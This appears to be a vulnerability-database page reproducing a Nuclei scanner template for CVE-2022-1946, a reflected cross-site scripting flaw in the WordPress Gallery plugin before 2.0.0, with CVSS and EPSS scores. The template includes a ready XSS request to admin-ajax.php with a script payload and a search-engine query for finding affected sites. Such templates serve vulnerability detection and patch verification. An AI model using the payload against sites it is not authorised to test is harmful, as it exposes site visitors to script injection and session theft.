Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2022-1946
HistoryJul 06, 2022 - 10:15 a.m.

WordPress Gallery <2.0.0 - Cross-Site Scripting

2022-07-0610:15:00
ProjectDiscovery
github.com
4

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

0.001 Low

EPSS

Percentile

36.9%

WordPress Gallery plugin before 2.0.0 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape a parameter before outputting it back in the response of an AJAX action, available to both unauthenticated and authenticated users.

id: CVE-2022-1946

info:
  name: WordPress Gallery <2.0.0 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: WordPress Gallery plugin before 2.0.0 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape a parameter before outputting it back in the response of an AJAX action, available to both unauthenticated and authenticated users.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update the WordPress Gallery plugin to version 2.0.0 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/0903920c-be2e-4515-901f-87253eb30940
    - https://wordpress.org/plugins/gallery-album
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1946
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-1946
    cwe-id: CWE-79
    epss-score: 0.00086
    epss-percentile: 0.36517
    cpe: cpe:2.3:a:wpdevart:gallery:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wpdevart
    product: gallery
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/gallery-album/"
  tags: cve,cve2022,wpscan,wp,xss,wordpress,gallery,unauth,wp-plugin,wpdevart

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=wpda_gall_load_image_info&start=0&limit=1&gallery_current_index=<script>alert(document.domain)</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'wpdevar_gall_img_url_h[<script>alert(document.domain)</script>]'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100e866acd2b3a5fc1f4eb04035840010fe9f78562faca24945107451d46537370f022100ac14d92fe807784588869d1d697d31bfe9b6a70602b9ff3b8dd16c5d79ebc0cd:922c64590222798bb761d5b6d8e72950

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

0.001 Low

EPSS

Percentile

36.9%

Related for NUCLEI:CVE-2022-1946